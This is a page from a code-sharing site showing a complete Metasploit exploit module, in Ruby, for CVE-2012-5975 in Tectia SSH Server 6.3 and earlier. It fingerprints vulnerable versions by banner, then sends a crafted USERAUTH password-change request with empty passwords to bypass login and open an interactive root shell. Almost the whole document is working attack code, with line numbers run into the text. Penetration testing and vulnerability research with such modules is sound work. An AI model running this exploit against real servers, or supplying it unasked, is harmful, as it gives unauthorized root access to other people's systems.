Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/ssh/tectia_passwd_changereq.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::Tcp12include Msf::Exploit::Remote::SSH1314def initialize(info={})15super(update_info(info,16'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",17'Description' => %q{18This module exploits a vulnerability in Tectia SSH server for Unix-based19platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request20before password authentication, allowing any remote user to bypass the login21routine, and then gain access as root.22},23'License' => MSF_LICENSE,24'Author' =>25[26'kingcope', #Original 0day27'bperry',28'sinn3r'29],30'References' =>31[32['CVE', '2012-5975'],33['EDB', '23082'],34['OSVDB', '88103'],35['URL', 'https://seclists.org/fulldisclosure/2012/Dec/12']36],37'Payload' =>38{39'Compat' =>40{41'PayloadType' => 'cmd_interact',42'ConnectionType' => 'find'43}44},45'Platform' => 'unix',46'Arch' => ARCH_CMD,47'Targets' =>48[49['Unix-based Tectia SSH 6.3 or prior', {}]50],51'Privileged' => true,52'DisclosureDate' => '2012-12-01',53'DefaultTarget' => 0))5455register_options(56[57Opt::RPORT(22),58OptString.new('USERNAME', [true, 'The username to login as', 'root'])59], self.class60)6162register_advanced_options(63[64OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])65]66)67end6869def check70connect71banner = sock.get_once.to_s.strip72vprint_status("#{rhost}:#{rport} - Banner: #{banner}")73disconnect7475# Vulnerable version info obtained from CVE76version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''77build = version.split('.')[-1].to_i7879case version80when /^6\.0/81unless (4..14).include?(build) or (17..20).include?(build)82return Exploit::CheckCode::Safe83end8485when /^6\.1/86unless (0..9).include?(build) or build == 1287return Exploit::CheckCode::Safe88end8990when /^6\.2/91unless (0..5).include?(build)92return Exploit::CheckCode::Safe93end9495when /^6\.3/96unless (0..2).include?(build)97return Exploit::CheckCode::Safe98end99else100return Exploit::CheckCode::Safe101end102103# The vulnerable version must use PASSWORD method104user = Rex::Text.rand_text_alpha(4)105transport, connection = init_ssh(user)106return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport)107108return Exploit::CheckCode::Safe109end110111def rhost112datastore['RHOST']113end114115def rport116datastore['RPORT']117end118119def is_passwd_method?(user, transport)120# A normal client is expected to send a ssh-userauth packet.121# Without it, the module can hang against non-vulnerable SSH servers.122transport.send_message(transport.service_request("ssh-userauth"))123message = transport.next_message124125# 6 means SERVICE_ACCEPT126if message.type != 6127print_error("Unexpected message: #{message.inspect}")128return false129end130131# We send this packet as an attempt to see what auth methods are available.132# The only auth method we want is PASSWORD.133pkt = Net::SSH::Buffer.from(134:byte, 0x32, #userauth request135:string, user, #username136:string, "ssh-connection", #service137:string, "password" #method name138)139pkt.write_bool(true)140pkt.write_string("") #Old pass141pkt.write_string("") #New pass142143transport.send_message(pkt)144message = transport.next_message145146# Type 51 means the server is trying to tell us what auth methods are allowed.147if message.type == 51 and message.to_s !~ /password/148print_error("#{rhost}:#{rport} - This host does not use password method authentication")149return false150end151152return true153end154155#156# The following link is useful to understand how to craft the USERAUTH password change157# request packet:158# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903159#160def userauth_passwd_change(user, transport, connection)161print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")162pkt = Net::SSH::Buffer.from(163:byte, 0x32, #userauth request164:string, user, #username165:string, "ssh-connection", #service166:string, "password" #method name167)168pkt.write_bool(true)169pkt.write_string("") #Old pass170pkt.write_string("") #New pass171172transport.send_message(pkt)173message = transport.next_message.type174print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")175176if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS177transport.send_message(transport.service_request("ssh-userauth"))178message = transport.next_message.type179180if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT181shell = Net::SSH::CommandStream.new(connection)182connection = nil183return shell184end185end186end187188def init_ssh(user)189opts = ssh_client_defaults.merge({190:user => user,191:port => rport192})193options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)194transport = Net::SSH::Transport::Session.new(rhost, options)195connection = Net::SSH::Connection::Session.new(transport, options)196197return transport, connection198end199200def do_login(user)201transport, connection = init_ssh(user)202passwd = is_passwd_method?(user, transport)203204if passwd205conn = userauth_passwd_change(user, transport, connection)206return conn207end208end209210def exploit211c = nil212213begin214::Timeout.timeout(datastore['SSH_TIMEOUT']) do215c = do_login(datastore['USERNAME'])216end217rescue Rex::ConnectionError218return219rescue Net::SSH::Disconnect, ::EOFError220print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"221return222rescue Net::SSH::Exception => e223print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"224return225rescue ::Timeout::Error226print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"227return228end229230handler(c.lsock) if c231end232end233234235